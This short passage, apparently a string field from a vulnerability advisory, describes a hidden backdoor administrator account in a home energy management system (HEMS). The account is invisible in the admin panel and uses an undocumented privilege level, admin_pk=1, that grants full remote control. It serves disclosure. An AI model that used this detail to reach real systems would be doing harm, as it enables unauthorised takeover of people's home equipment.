An attacker could exploit this vulnerability by logging in using the backdoor account with highest privileges for administration and gain full system control. The backdoor user cannot be seen in the users settings in the admin panel and it also uses an undocumented privilege level (admin_pk=1) which allows full availability of the features that the HEMS is offering remotely.',
